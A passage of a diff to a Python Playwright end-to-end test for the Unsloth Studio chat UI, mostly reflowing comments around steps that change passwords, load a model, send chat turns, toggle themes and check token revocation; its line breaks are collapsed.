reachable from the documented environment alone.fail(f"STUDIO_UI_CPU_THROTTLE requires chromium, not {PLAYWRIGHT_BROWSER}")browser = browser_type.launch(**launch_kwargs)ctx = browser.new_context(viewport = {"width": 1280, "height": 900},- # Reduce motion so view-transition animations don't intercept- # pointer events and break Playwright's actionability check.+ # Reduce motion so view-transition animations don't intercept pointer events and break Playwright's+ # actionability check.reduced_motion = "reduce",)- # Hard-disable CSS view-transitions: Unsloth's theme toggle + sidebar- # collapse run startViewTransition() which can leave <html> intercepting- # pointer events for a beat after each route swap. See _playwright_robust.py.+ # Hard-disable CSS view-transitions: Unsloth's theme toggle + sidebar collapse run startViewTransition() which can+ # leave <html> intercepting pointer events for a beat after each route swap.+ # See _playwright_robust.py.install_view_transition_killer(ctx)system_requests: list[str] = []ctx.on(@@ -763,8 +729,8 @@ with sync_playwright() as p:page.on("console", _on_console)- # Capture /v1/chat/completions statuses so a mid-test 4xx (which- # surfaces only as a hung wait_for_function) is debuggable from the log.+ # Capture /v1/chat/completions statuses so a mid-test 4xx (which surfaces only as a hung wait_for_function) is+ # debuggable from the log.chat_completions_responses: list[tuple[int, str]] = []page.on("response",@@ -776,9 +742,8 @@ with sync_playwright() as p:)def shoot(name):- # Screenshots are diagnostic only -- never fail on a screenshot- # timeout. Page.screenshot waits for webfonts, which on macos-14- # can crowd the default; bump the timeout and swallow errors.+ # Screenshots are diagnostic only -- never fail on a screenshot timeout. Page.screenshot waits for webfonts,+ # which on macos-14 can crowd the default; bump the timeout and swallow errors._n[0] += 1try:page.screenshot(@@ -796,11 +761,9 @@ with sync_playwright() as p:# new password twice and submit -- the user's first-run experience.# ─────────────────────────────────────────────────────step("change-password through UI (Setup your account)")- # Settle the network before touching the form: a late bootstrap poll- # can rerender the page (dropping #new-password) mid-test. The whole- # goto/wait/fill/submit sequence is wrapped in a 3-attempt retry with- # a fresh page/reload between tries so a mid-try rerender doesn't- # poison the next.+ # Settle the network before touching the form: a late bootstrap poll can rerender the page (dropping+ # #new-password) mid-test. The whole goto/wait/fill/submit sequence is wrapped in a 3-attempt retry with a fresh+ # page/reload between tries so a mid-try rerender doesn't poison the next.form_err: Exception | None = Nonefor _form_attempt in range(3):try:@@ -811,14 +774,13 @@ with sync_playwright() as p:pass # best-effort -- proceed even if network never idlespw_field = page.locator("#new-password")pw_field.wait_for(state = "visible", timeout = 60_000)- # Do NOT shoot() between wait_for and fill -- the screenshot's- # font-load wait can let a background poll detach the form.+ # Do NOT shoot() between wait_for and fill -- the screenshot's font-load wait can let a background poll+ # detach the form.pw_field.fill(NEW, timeout = 60_000)page.fill("#confirm-password", NEW, timeout = 60_000)shoot("01-change-password-filled")- # Click submit AND wait for the POST response together so a- # macos-14 net::ERR_NO_BUFFER_SPACE buffer-fail surfaces now,- # not at the next composer.wait_for.+ # Click submit AND wait for the POST response together so a macos-14 net::ERR_NO_BUFFER_SPACE buffer-fail+ # surfaces now, not at the next composer.wait_for.status, _ = click_and_wait_for_response(page,url_substr = "/api/auth/change-password",@@ -858,8 +820,8 @@ with sync_playwright() as p:except Exception:passif _form_attempt < 2:- # ERR_NO_BUFFER_SPACE needs the OS to recover socket- # buffers; back off 5s then 15s before retrying.+ # ERR_NO_BUFFER_SPACE needs the OS to recover socket buffers;+ # back off 5s then 15s before retrying.if "ERR_NO_BUFFER_SPACE" in str(e):backoff_s = 5 if _form_attempt == 0 else 15print(@@ -868,8 +830,7 @@ with sync_playwright() as p:flush = True,)time.sleep(backoff_s)- # Replace the page if it died; otherwise next iteration's- # page.goto() handles the reload.+ # Replace the page if it died; otherwise next iteration's page.goto() handles the reload.page = recover_or_replace_page(page,ctx,@@ -883,10 +844,9 @@ with sync_playwright() as p:# 2. Chat surface mounts, default model surface is visible.# ─────────────────────────────────────────────────────step("wait for composer to mount")- # After change-password the router rebuilds login -> chat shell; on- # macos-14 racing straight into wait_for() either burns the timeout- # or crashes the renderer mid-mount. Settle network first, then- # wait_for with one recovery cycle on failure.+ # After change-password the router rebuilds login -> chat shell; on macos-14 racing straight into wait_for() either+ # burns the timeout or crashes the renderer mid-mount. Settle network first, then wait_for with one recovery cycle+ # on failure.try:page.wait_for_load_state("networkidle", timeout = 30_000)except Exception:@@ -923,9 +883,8 @@ with sync_playwright() as p:except Exception:passif _attempt == 0:- # Re-navigate: open a fresh page in the same context if- # the renderer died (localStorage auth survives), else- # re-goto to force a clean re-render.+ # Re-navigate: open a fresh page in the same context if the renderer died (localStorage auth+ # survives), else re-goto to force a clean re-render.page = recover_or_replace_page(page,ctx,@@ -948,8 +907,8 @@ with sync_playwright() as p:browser.close()sys.exit(0)- # /api/models/list and /api/inference/load need a bearer; the- # frontend stores it under "unsloth_auth_token" (auth/session.ts).+ # /api/models/list and /api/inference/load need a bearer;+ # the frontend stores it under "unsloth_auth_token" (auth/session.ts).token = robust_evaluate(page,"() => localStorage.getItem('unsloth_auth_token')",@@ -988,8 +947,8 @@ with sync_playwright() as p:if not token:fail("could not obtain auth token after change-password")- # Verify the chat page's default model matches DEFAULT_MODELS_GGUF[0]- # (defaults.py) -- guards the first-launch UX against list reorders.+ # Verify the chat page's default model matches DEFAULT_MODELS_GGUF[0] (defaults.py) -- guards the first-launch UX+ # against list reorders.step("default_models[0] matches DEFAULT_MODELS_GGUF[0]")EXPECTED_DEFAULT = expected_default_model()defaults_resp = evaluate_fetch(@@ -1013,16 +972,15 @@ with sync_playwright() as p:)info(f"OK default_models[0] = {EXPECTED_DEFAULT}")- # The selector button should show the default model's name even- # before a model is loaded ("Select model" if none).+ # The selector button should show the default model's name even before a model is loaded ("Select model" if none).selector_btn = page.locator('button:has-text("Select model"), ''button:has-text("gemma"), ''button:has-text("Qwen"), ''button:has-text("Llama")').first- # Best-effort: selector re-mounts as /api/models/list resolves, so- # use a short timeout and skip the snapshot on miss.+ # Best-effort: selector re-mounts as /api/models/list resolves, so use a short timeout and skip the snapshot on+ # miss.sel_text = ""try:sel_text = (selector_btn.text_content(timeout = 2_000) or "").strip()@@ -1036,9 +994,8 @@ with sync_playwright() as p:# 3. Trigger model load via the same endpoint the picker uses.# ─────────────────────────────────────────────────────step("load GGUF via /api/inference/load (uses session cookie)")- # AbortSignal-bounded: macos-14 has been seen wedging on this fetch.- # The 3-min budget is generous for a cold-cache load; a wedge fails- # cleanly instead of forcing a 30-min runner cancel.+ # AbortSignal-bounded: macos-14 has been seen wedging on this fetch. The 3-min budget is generous for a+ # cold-cache load; a wedge fails cleanly instead of forcing a 30-min runner cancel.load_resp = evaluate_fetch(page,f"{BASE}/api/inference/load",@@ -1061,8 +1018,7 @@ with sync_playwright() as p:fail(f"/api/inference/load returned {load_resp['status']}: {load_resp.get('body')!r}")info(f"loaded model: {(load_resp['body'] or {}).get('display_name')}")- # Unsloth caches model state in zustand; reload so the composer picks- # up the loaded model.+ # Unsloth caches model state in zustand; reload so the composer picks up the loaded model.page.reload()composer = page.locator('textarea[aria-label="Message input"]')composer.wait_for(state = "visible", timeout = 60_000)@@ -1073,8 +1029,8 @@ with sync_playwright() as p:# this just catches picker-mount / debounced HF-search regressions.# ─────────────────────────────────────────────────────step("model picker: open + drive search bar")- # Prefer the guided-tour anchor [data-tour="chat-model-selector"]- # (app-sidebar.tsx) -- as stable as anything in the codebase.+ # Prefer the guided-tour anchor [data-tour="chat-model-selector"] (app-sidebar.tsx) -- as stable as anything in the+ # codebase.picker_btn = page.locator('[data-tour="chat-model-selector"]').firstif picker_btn.count() == 0:# Fall back to text-based locators for older Unsloth builds.@@ -1095,9 +1051,8 @@ with sync_playwright() as p:if search.count() == 0:soft_fail("model picker search input not found")else:- # "qwen" then "llama" popover text must DIFFER, proving the- # typeahead actually filters (else an ignored-input regression- # would silently pass).+ # "qwen" then "llama" popover text must DIFFER, proving the typeahead actually filters (else an+ # ignored-input regression would silently pass).def picker_visible_text():return robust_evaluate(page,@@ -1126,7 +1081,6 @@ with sync_playwright() as p:)else:info("OK search bar filtered (qwen text != llama text)")- # Close picker without changing selection.page.keyboard.press("Escape")page.wait_for_timeout(300)@@ -1157,9 +1111,8 @@ with sync_playwright() as p:)def send_and_wait(prompt, idx):- # 1. Wait until the previous turn fully stopped: Send attached- # AND Stop detached. The composer hot-swaps both in one DOM- # slot, so Stop's detached state alone is racy.+ # 1. Wait until the previous turn fully stopped: Send attached AND Stop detached. The composer hot-swaps+ # both in one DOM slot, so Stop's detached state alone is racy.page.wait_for_selector('button[aria-label="Send message"]',state = "attached",@@ -1172,23 +1125,19 @@ with sync_playwright() as p:timeout = 5_000,)except Exception:- # Stop still on -- prior turn mid-stream. Wait it out at the- # full per-turn budget.+ # Stop still on -- prior turn mid-stream. Wait it out at the full per-turn budget.page.wait_for_selector('button[aria-label="Stop generating"]',state = "detached",timeout = TURN_TIMEOUT_MS,)- # 2. Snapshot total bubble count before send; we wait for it to- # grow by exactly 1. We do NOT require non-empty text: an- # empty assistant response is legitimate (gemma-3-270m does- # this at temp 0), and the old non-empty predicate got stuck- # on such bubbles.+ # 2. Snapshot total bubble count before send; we wait for it to grow by exactly 1. We do NOT require+ # non-empty text: an empty assistant response is legitimate (gemma-3-270m does this at temp 0), and the+ # old non-empty predicate got stuck on such bubbles.bubbles_before = _bubble_count()- # The llama.cpp and web update banners are fixed bottom-right toasts- # (z-9998 / z-9999) that can overlap the composer's Send button and- # intercept the click. Snooze whichever is showing before sending.+ # The llama.cpp and web update banners are fixed bottom-right toasts (z-9998 / z-9999) that can overlap the+ # composer's Send button and intercept the click. Snooze whichever is showing before sending.for prefix in ("llama", "web"):snooze_btn = page.locator(f'[data-testid="{prefix}-update-snooze-button"]')if snooze_btn.count():@@ -1205,8 +1154,8 @@ with sync_playwright() as p:composer.fill(prompt)page.locator('button[aria-label="Send message"]').click()- # 3. Wait for the new placeholder bubble to render -- confirms- # the click was actionable and the request issued.+ # 3. Wait for the new placeholder bubble to render -- confirms the click was actionable and the request+ # issued.page.wait_for_function("""(want) => {return document.querySelectorAll(@@ -1217,9 +1166,8 @@ with sync_playwright() as p:timeout = TURN_TIMEOUT_MS,)- # 4. Wait for this turn's streaming to finish. Stop may never- # appear (gemma-3-270m can finish before it paints), so its- # appearance is best-effort; then wait for it to detach.+ # 4. Wait for this turn's streaming to finish. Stop may never appear (gemma-3-270m can finish before it+ # paints), so its appearance is best-effort; then wait for it to detach.try:page.wait_for_selector('button[aria-label="Stop generating"]',@@ -1241,25 +1189,17 @@ with sync_playwright() as p:step("rapid submit: 100 ms follow-up queues behind the first turn")rapid_bubbles_before = _bubble_count()composer_form = page.locator('form:has(textarea[aria-label="Message input"])').first- # How long a reply takes is not ours to decide: sampling settings, whatever- # GGUF_REPO points at and an early EOS all move it, and a short answer can- # finish inside the follow-up delay on a fast runner, leaving nothing to- # queue behind. So hold the first turn's response open rather than hope it- # is slow.+ # How long a reply takes is not ours to decide: sampling settings, whatever GGUF_REPO points at and an early EOS all+ # move it, and a short answer can finish inside the follow-up delay on a fast runner, leaving nothing to queue+ # behind.#- # The follow-up and the observation both run in the page, not here. The sync- # Playwright route handler runs on this thread, so a wait inside it blocks- # the test: the handler would fire during a wait_for_timeout, finish, and- # release the request before a Python-side second submit could happen, which- # puts the hold entirely before the follow-up instead of across it. Page- # timers keep running while this thread is parked in the handler.- # Everything here runs in the page. Playwright's sync route handler runs on- # this thread, so holding a request there blocks the test itself and the- # follow-up cannot be sent while the hold is in effect; and the page cannot- # observe a Playwright interception, so no in-page timer can be aligned with- # one. Wrapping fetch solves both: the page sees the exact moment the first- # turn's request goes out, sends the follow-up then, and delays the response- # itself, so the turn is provably still running with no timing assumption.+ # The follow-up and the observation both run in the page, not here. The sync Playwright route handler runs on this+ # thread, so a wait inside it blocks the test: the handler would fire during a wait_for_timeout, finish, and+ # release the request before a Python-side second submit could happen, which puts the hold entirely before the+ # follow-up instead of across it. Page timers keep running while this thread is parked in the handler. The page+ # cannot observe a Playwright interception either, so no in-page timer can be aligned with one. Wrapping fetch+ # solves both: the page sees the exact moment the first turn's request goes out, sends the follow-up then, and+ # delays the response itself, so the turn is provably still running with no timing assumption.page.evaluate("""(args) => {const [secondPrompt, holdMs] = args;@@ -1386,10 +1326,7 @@ with sync_playwright() as p:composer.fill("Reply with exactly: rapid-first")composer_form.evaluate("form => form.requestSubmit()")- # Arm the 100 ms path now that the first turn has been submitted. Whichever- # fires first wins and the other is a no-op, so this still covers the- # pre-render interval the step is named after, while the fetch path keeps- # the guarantee when persistence delays the request.+ # Arm the 100 ms path now that the first turn has been submitted.page.evaluate("() => window.__unslothRapidArm && window.__unslothRapidArm()")page.wait_for_function(@@ -1404,18 +1341,16 @@ with sync_playwright() as p:if state["error"]:shoot("04-rapid-submit-no-composer")fail(f"could not send the follow-up: {state['error']}")- # queueSeen is the property under test; the hold is only the means of- # guaranteeing the first turn was still running. If the queue formed, it- # formed, whether or not the hold was needed. Only demand the interception+ # queueSeen is the property under test; the hold is only the means of guaranteeing the first turn was still+ # running. If the queue formed, it formed, whether or not the hold was needed. Only demand the interception# when it did not, so an unheld run cannot report a silent pass.if not state["queueSeen"] and not state["intercepted"]:fail("the first turn's request was never seen, so it was never held, "f"and no queue formed; saw {state['seen']}")- # The follow-up went out after the first turn's request was issued and while- # its response was still held, so that turn was necessarily running. A- # missing queue control is therefore a real regression, not timing.+ # The follow-up went out after the first turn's request was issued and while its response was still held, so+ # that turn was necessarily running. A missing queue control is therefore a real regression, not timing.if not state["queueSeen"]:shoot("04-rapid-submit-no-queue")fail(@@ -1424,32 +1359,9 @@ with sync_playwright() as p:f"{state['intercepted']})")- # Settle before the five-turn sequence below: two bubbles, nothing streaming,- # nothing queued. That is the whole job of this wait. What the turns SAID is- # not checked here and never was; the queue behaviour this step exists to- # prove is `state.queueSeen` above.- #- # This used to also require every reply's innerText to be non-empty, which- # measured the action bar, not the reply. innerText of a message root spans- # the whole subtree, and the assistant action bar sits inside it, so the- # clause was satisfied by button labels ("Copy Edit response Refresh Delete- # message Read aloud More" plus the tok/s readout) whatever the model- # returned. Instrumented at this exact point on the CI runners, comparing the- # message content element against the message root, two passing runs read:- #- # content=[0, 0] innerText=[73, 73] -> clause held, both replies empty- # content=[0, 19] innerText=[73, 89] -> clause held, first reply empty- #- # gemma-3-270m-it answers "Reply with exactly: rapid-first" with an empty- # completion often enough to appear in 3 of 8 sampled runs, and the clause- # held anyway every time, so it never had the coverage its wording implies.- # A content-based replacement would be flakier than what it replaces, because- # an empty completion is the model's behaviour, not a defect in Unsloth.- #- # It matters now because the assistant action bar autohides on every reply but- # the newest, so for the older of the two this reads, the labels are no longer in- # the subtree and the clause finally started reporting what it was actually- # measuring: a hidden hover affordance.+ # Settle before the five-turn sequence below: two bubbles, nothing streaming, nothing queued.+ # What the turns SAID is not checked here and never was;+ # the queue behaviour this step exists to prove is `state.queueSeen` above.page.wait_for_function("""(want) => {const replies = Array.from(@@ -1479,8 +1391,8 @@ with sync_playwright() as p:if len(texts) < len(prompts):fail(f"expected >= {len(prompts)} assistant bubbles, got {len(texts)}")info(f"five turn lengths = {[len(t) for t in texts[:5]]}")- # Surface /v1/chat/completions status distribution: a 4xx here is- # usually the cause of a hung wait_for_function downstream.+ # Surface /v1/chat/completions status distribution: a 4xx here is usually the cause of a hung wait_for_function+ # downstream.if chat_completions_responses:statuses = [code for code, _ in chat_completions_responses]bad = [code for code in statuses if code >= 400]@@ -1496,8 +1408,8 @@ with sync_playwright() as p:last_assistant = page.locator('[data-role="assistant"]').lastlast_assistant.hover()page.wait_for_timeout(400)- # Exclude disabled controls: the picker's new disabled "Reload model"- # button also matches and sorts first, so .first would target it.+ # Exclude disabled controls: the picker's new disabled "Reload model" button also matches and sorts first, so+ # .first would target it.regen_btn = (page.get_by_role("button",@@ -1519,8 +1431,8 @@ with sync_playwright() as p:shoot("05-after-regenerate")info("regenerate completed")else:- # Don't strict-fail: ActionBarPrimitive.Reload has no stable- # aria-label so the locator relies on icon-tied tooltip text.+ # Don't strict-fail: ActionBarPrimitive.Reload has no stable aria-label so the locator relies on icon-tied+ # tooltip text.# Soft-skip until we add a data-testid (TODO).info("WARN regenerate button not visible (known-fragile locator, skipped)")@@ -1547,8 +1459,8 @@ with sync_playwright() as p:if toggle.count() == 0:info(f"toggle '{feature}' not present on this layout")continue- # Skip if the button is disabled (model lacks the capability;- # e.g. gemma-3-270m has no reasoning, so thinking stays disabled).+ # Skip if the button is disabled (model lacks the capability; e.g. gemma-3-270m has no reasoning, so thinking+ # stays disabled).if toggle.is_disabled():info(f"toggle '{feature}' is disabled for this model -- skip")continue@@ -1565,7 +1477,6 @@ with sync_playwright() as p:info(f"WARN '{feature}' aria-label did not flip ({before!r})")else:info(f"OK '{feature}': {before!r} -> {after!r}")- # Flip back so test state is unchanged.try:page.locator(f'button[aria-label="Disable {feature}"], button[aria-label="Enable {feature}"]'@@ -1584,9 +1495,8 @@ with sync_playwright() as p:cfg_open.click()page.wait_for_timeout(500)shoot("08-config-open")- # Walk every Radix slider (role="slider") by index, focus it,- # press Home (-> min) for deterministic state; a locked slider- # surfaces an error here.+ # Walk every Radix slider (role="slider") by index, focus it, press Home (-> min) for deterministic state; a+ # locked slider surfaces an error here.sliders = page.locator('[role="slider"]')n_sliders = sliders.count()info(f"configuration sheet exposes {n_sliders} slider(s)")@@ -1600,10 +1510,8 @@ with sync_playwright() as p:except Exception as exc:info(f" slider[{idx}] focus/Home failed: {exc!r}")shoot("09-config-all-min")- # Temperature is the first slider (configuration-sheet.tsx), so- # Home already pinned it to 0 for determinism.+ # Temperature is the first slider (configuration-sheet.tsx), so Home already pinned it to 0 for determinism.info("Temperature set to slider min (0.0) for determinism")- # Close.close_btn = page.locator('button[aria-label="Close configuration"]').firstif close_btn.count() > 0:close_btn.click()@@ -1666,10 +1574,10 @@ with sync_playwright() as p:if typography["actualRenderLinux"] != typography["isDesktopLinux"]:fail(f"desktop Linux detection mismatch: {typography!r}")is_dark = typography["isDark"]- # Tracking is authored in em (thread.tsx tracking-[0.01em] / dark:tracking-[0.02em], and- # 0.023em for the lighter dark-mode instance on Linux), so assert the em and let the size- # come from the element. Pinning px assumed a 16px base and broke the moment the product- # default became 15px (--ui-font-scale in index.css), which any font-size preference does too.+ # Tracking is authored in em (thread.tsx tracking-[0.01em] / dark:tracking-[0.02em], and 0.023em for the lighter+ # dark-mode instance on Linux), so assert the em and let the size come from the element. Pinning px assumed a+ # 16px base and broke the moment the product default became 15px (--ui-font-scale in index.css), which any+ # font-size preference does too.expected_em = 0.02 if is_dark else 0.01if typography["isDesktopLinux"] and not typography["usesBaselineTypography"]:expected_weight = "350" if is_dark else "390"@@ -1687,8 +1595,8 @@ with sync_playwright() as p:if len(actual["fontSize"]) != 1:fail(f"chat font size {label}/{role}: not uniform, got {actual['fontSize']!r}")font_size = float(actual["fontSize"][0].removesuffix("px"))- # Pin the token, not a range: one spanning every preference (12 to 20, so- # 11.625px to 19.375px) also admits the neighbouring tokens.+ # Pin the token, not a range: one spanning every preference (12 to 20, so 11.625px to 19.375px) also+ # admits the neighbouring tokens.try:ui_font_scale = float(typography.get("uiFontScale") or "1")except ValueError:@@ -1708,8 +1616,8 @@ with sync_playwright() as p:0.0 if v.strip() == "normal" else float(v.removesuffix("px"))for v in actual["letterSpacing"]]- # Sub-pixel tolerance only: the browser reports the exact product, so anything larger- # would stop the check from noticing a changed tracking value.+ # Sub-pixel tolerance only: the browser reports the exact product, so anything larger would stop the+ # check from noticing a changed tracking value.if len(spacings) != 1 or abs(spacings[0] - expected_spacing) > 0.005:fail(f"chat letter spacing {label}/{role}: expected {expected_em}em of "@@ -1726,9 +1634,6 @@ with sync_playwright() as p:observed = []typography_states = []for cycle in range(3):- # Wait for any prior dropdown to fully detach: clicking while- # the view-transition is still open no-ops silently. The- # transition can run >700ms on slow CI, so use a roomy budget.try:page.wait_for_function("""() => {@@ -1743,8 +1648,8 @@ with sync_playwright() as p:except Exception:passpage.wait_for_timeout(250)- # Retry once (after Escape to clear stray popups) if the first- # click is silently swallowed mid-view-transition.+ # Retry once (after Escape to clear stray popups) if the first click is silently swallowed+ # mid-view-transition.opened = Falsefor attempt in range(2):try:@@ -1774,10 +1679,9 @@ with sync_playwright() as p:page.keyboard.press("Escape")soft_fail(f"theme cycle {cycle + 1}: theme menuitem missing")break- # Click with fallbacks: a small CI viewport can push the item- # off-screen (force=True still needs it in viewport). Fall back- # to scroll-into-view, then a synthetic evaluate() .click() that- # skips Playwright's viewport check.+ # Click with fallbacks: a small CI viewport can push the item off-screen (force=True still needs it in+ # viewport). Fall back to scroll-into-view, then a synthetic evaluate() .click() that skips Playwright's+ # viewport check.click_err = Nonefor click_attempt in range(3):try:@@ -1797,8 +1701,8 @@ with sync_playwright() as p:page.keyboard.press("Escape")soft_fail(f"theme cycle {cycle + 1}: theme menuitem click failed ({click_err!r})")break- # Settle. The ".dark" class on <html> is the ground truth- # (theme-store toggles only that); don't gate on ".light".+ # Settle. The ".dark" class on <html> is the ground truth (theme-store toggles only that); don't gate on+ # ".light".page.wait_for_timeout(700)bg = robust_evaluate(page,@@ -1818,8 +1722,8 @@ with sync_playwright() as p:typography_states.append(typography)shoot(f"10-theme-cycle-{cycle + 1}")info(f" cycle {cycle + 1}: dark={bg['isDark']} body bg={bg['bg']!r}")- # Across cycles we should see both a near-white (light) and a- # near-black (dark) body bg; one polarity means the toggle stuck.+ # Across cycles we should see both a near-white (light) and a near-black (dark) body bg; one polarity means the+ # toggle stuck.rgbs = [parse_rgb(o["bg"]) for o in observed if parse_rgb(o["bg"])]light_seen = any(min(r) > 220 for r in rgbs)dark_seen = any(max(r) < 60 for r in rgbs)@@ -1838,9 +1742,8 @@ with sync_playwright() as p:"(toggle may not flip on this runner's color-scheme)")- # These are user-driven theme transitions, not synthetic class- # changes. A completed three-cycle toggle must expose both typography- # states before we check the Linux selector.+ # These are user-driven theme transitions, not synthetic class changes. A completed three-cycle toggle must+ # expose both typography states before we check the Linux selector.if len(typography_states) != 3:soft_fail(f"chat typography observed {len(typography_states)} theme state(s), expected 3"@@ -1856,10 +1759,9 @@ with sync_playwright() as p:# 10. Sidebar nav: New Chat, Compare, Search, Recipes.# ─────────────────────────────────────────────────────def click_nav(label, expected_url_pat = None):- # Resolve the sidebar nav button. get_by_role(name=...) works on- # Linux but the tooltip-derived name can be empty on macOS when- # the sidebar collapses to icons, so fall back to more permissive- # locators.+ # Resolve the sidebar nav button.+ # get_by_role(name=...) works on Linux but the tooltip-derived name can be empty on macOS when the sidebar+ # collapses to icons, so fall back to more permissive locators.candidates = [page.get_by_role("button", name = re.compile(rf"^\s*{label}\s*$", re.I)).first,page.locator(f'button:has-text("{label}")').first,@@ -1872,8 +1774,9 @@ with sync_playwright() as p:btn = cbreakif btn is None:- # Unpinned rows (Video, Recipes, Export by default) live in the sidebar's "More" flyout, which opens on hover, so hover- # first: a click would toggle it back shut. Click is the fallback for a no-hover environment.+ # Unpinned rows (Video, Recipes, Export by default) live in the sidebar's "More" flyout, which opens on+ # hover, so hover first: a click would toggle it back shut. Click is the fallback for a no-hover+ # environment.more_btn = page.get_by_role("button", name = re.compile(r"^\s*More\s*$", re.I)).firstif more_btn.count() > 0:more_btn.hover()@@ -1888,10 +1791,9 @@ with sync_playwright() as p:if btn is None:soft_fail(f"nav '{label}' not found")return False- # force=True bypasses the actionability check: the post-toggle- # view-transition can briefly report <html> as topmost even- # though the button is visible + enabled (belt-and-suspenders- # atop the startViewTransition neutraliser).+ # force=True bypasses the actionability check: the post-toggle view-transition can briefly report <html> as+ # topmost even though the button is visible + enabled (belt-and-suspenders atop the startViewTransition+ # neutraliser).try:click_forced(btn, timeout = 5_000)except Exception as exc:@@ -1915,8 +1817,7 @@ with sync_playwright() as p:page.wait_for_timeout(400)compare_item = page.get_by_role("menuitem", name = re.compile(r"Compare chat", re.I)).firstif compare_item.count() == 0:- # Compare chat moved into the "More" submenu; hover (then- # click as fallback) to open it.+ # Compare chat moved into the "More" submenu; hover (then click as fallback) to open it.more_trigger = page.get_by_role("menuitem", name = re.compile(r"^More$", re.I)).firstif more_trigger.count() > 0:more_trigger.hover()@@ -1950,14 +1851,9 @@ with sync_playwright() as p:page.wait_for_timeout(300)click_nav("Recipes", r"/data-recipes")shoot("14-recipes")- # Back to chat for subsequent steps.page.goto(f"{BASE}/chat")composer.wait_for(state = "visible", timeout = 60_000)- # ─────────────────────────────────────────────────────- # 11. API / Developer tab via account menu -> Settings dialog,- # api-keys tab. Guards against the management UI being hidden.- # ─────────────────────────────────────────────────────if acct.count() > 0:step("Developer (API) tab via account menu")acct.click()@@ -1967,20 +1863,17 @@ with sync_playwright() as p:dev.click()page.wait_for_timeout(800)shoot("15-developer-tab")- # Look for the create-key affordance.create_btn = page.get_by_role("button",name = re.compile(r"create.*key|generate.*key|add.*key|new key", re.I),).firstif create_btn.count() > 0:info("OK 'create API key' affordance visible")- # Look for the api-keys list section title.keys_section = page.get_by_text(re.compile(r"api keys|developer", re.I),).firstif keys_section.count() > 0:info(f"OK API tab text: {(keys_section.text_content() or '').strip()[:80]!r}")- # Close dialog with Escape.page.keyboard.press("Escape")page.wait_for_timeout(300)else:@@ -1993,13 +1886,11 @@ with sync_playwright() as p:step("Recipes tab: cards render + click first card")page.goto(f"{BASE}/data-recipes")page.wait_for_timeout(1500)- # Count clickable headings/cards under main, then screenshot.headings = page.locator("main h2, main h3, [data-recipe], a[href*='/data-recipes/']")n_cards = headings.count()info(f"Recipes route headings/cards: {n_cards}")shoot("15b-recipes-cards")if n_cards > 0:- # Try clicking the first one to confirm it navigates / opens.try:headings.first.scroll_into_view_if_needed()headings.first.click()@@ -2008,7 +1899,6 @@ with sync_playwright() as p:info("OK clicked first recipe card")except Exception as exc:info(f"WARN click first recipe failed: {exc!r}")- # Back to chat.page.goto(f"{BASE}/chat")composer = page.locator('textarea[aria-label="Message input"]')composer.wait_for(state = "visible", timeout = 60_000)@@ -2018,8 +1908,7 @@ with sync_playwright() as p:# via the turns above). Guards the thread-history loader / route.# ─────────────────────────────────────────────────────step("Recents: click previous chat in sidebar")- # The persisted thread title is usually a snippet of the first user- # message, so accept any of our prompt keywords.+ # The persisted thread title is usually a snippet of the first user message, so accept any of our prompt keywords.PROMPT_KEYWORDS = ("hello", "world", "tree", "yes", "1+1", "2+2")# Use the structural data-testid (thread-sidebar.tsx): the old# text-filtered selector matched coalesced nav text and burned@@ -2069,7 +1958,6 @@ with sync_playwright() as p:continueif not clicked_recent:soft_fail(f"no Recents entry was clickable within 30s deadline (n_threads={n_threads})")- # Back to chat.page.goto(f"{BASE}/chat")composer = page.locator('textarea[aria-label="Message input"]')composer.wait_for(state = "visible", timeout = 60_000)@@ -2183,15 +2071,13 @@ with sync_playwright() as p:)info("CLI rotated password NEW -> NEW2 successfully")- # NEW must now be 401, NEW2 must be 200.if (s_new1 := login_via_api(NEW)) != 401:fail(f"after CLI rotation, NEW pw should be 401, got {s_new1}")if (s_new2 := login_via_api(NEW2)) != 200:fail(f"after CLI rotation, NEW2 pw should be 200, got {s_new2}")info("OK after CLI rotation: NEW=401, NEW2=200 -- old studio creds dead")- # /change-password revoked refresh tokens server-side (auth.py), so- # the browser's /api/auth/refresh must now fail.+ # /change-password revoked refresh tokens server-side (auth.py), so the browser's /api/auth/refresh must now fail.refresh_proc = subprocess.run(["curl",@@ -2234,10 +2120,7 @@ with sync_playwright() as p:# ─────────────────────────────────────────────────────step("persisted monitor stays dormant on /login and resumes after auth")# Start fresh after the CLI rotation invalidates this browser session.- # Stay in the SAME context: it keeps the init script and costs nothing to- # reuse. This used to be forced, because macOS ran --single-process Chromium,- # which allows only one context; that flag is gone now. Open the new page- # before closing the old one; the context init script covers the new page.+ # Stay in the SAME context: it keeps the init script and costs nothing to reuse.try:ctx.clear_cookies()except Exception as exc:@@ -2249,8 +2132,6 @@ with sync_playwright() as p:JSON.stringify({ state: { isOpen: true, isMinimized: false }, version: 0 }))""",)- # Auth tokens live in localStorage, and /login's guest guard redirects on- # their mere presence, so drop them before navigating.try:page.evaluate("['unsloth_auth_token', 'unsloth_auth_refresh_token']"@@ -2268,13 +2149,11 @@ with sync_playwright() as p:page = _fresh_pagelogin_system_request_count = len(system_requests)- # Re-login with NEW2 for a valid /api/shutdown token. Route changes can- # still abort or interrupt this navigation, so the field wait below is the- # final confirmation that we reached /login.+ # Re-login with NEW2 for a valid /api/shutdown token._tolerated_nav = ("ERR_ABORTED", "interrupted by another navigation")- # A slow CI runner can make this re-login navigation time out even with the- # server healthy, so retry the whole goto/wait/fill/submit sequence (mirrors- # the change-password retry above). wait_for_health is a diagnostic pre-gate.+ # A slow CI runner can make this re-login navigation time out even with the server healthy, so retry the whole+ # goto/wait/fill/submit sequence (mirrors the change-password retry above).+ # wait_for_health is a diagnostic pre-gate.wait_for_health(BASE, timeout = 30.0, info = info)relogin_err: Exception | None = Nonefor _relogin_attempt in range(3):@@ -2296,8 +2175,8 @@ with sync_playwright() as p:if "/login" not in page.url:raise AssertionError(f"login route reloaded or redirected unexpectedly: {page.url}")pw_field.fill(NEW2)- # Wait on the login POST so a transient 4xx/5xx is caught and retried- # here, not swallowed until the out-of-loop composer wait.+ # Wait on the login POST so a transient 4xx/5xx is caught and retried here, not swallowed until the+ # out-of-loop composer wait.status, _ = click_and_wait_for_response(page,url_substr = "/api/auth/login",@@ -2336,8 +2215,7 @@ with sync_playwright() as p:except Exception:passif _relogin_attempt < 2:- # ERR_NO_BUFFER_SPACE needs the OS to recover socket- # buffers; back off 5s then 15s before retrying.+ # ERR_NO_BUFFER_SPACE needs the OS to recover socket buffers; back off 5s then 15s before retrying.if "ERR_NO_BUFFER_SPACE" in str(e):backoff_s = 5 if _relogin_attempt == 0 else 15print(@@ -2346,8 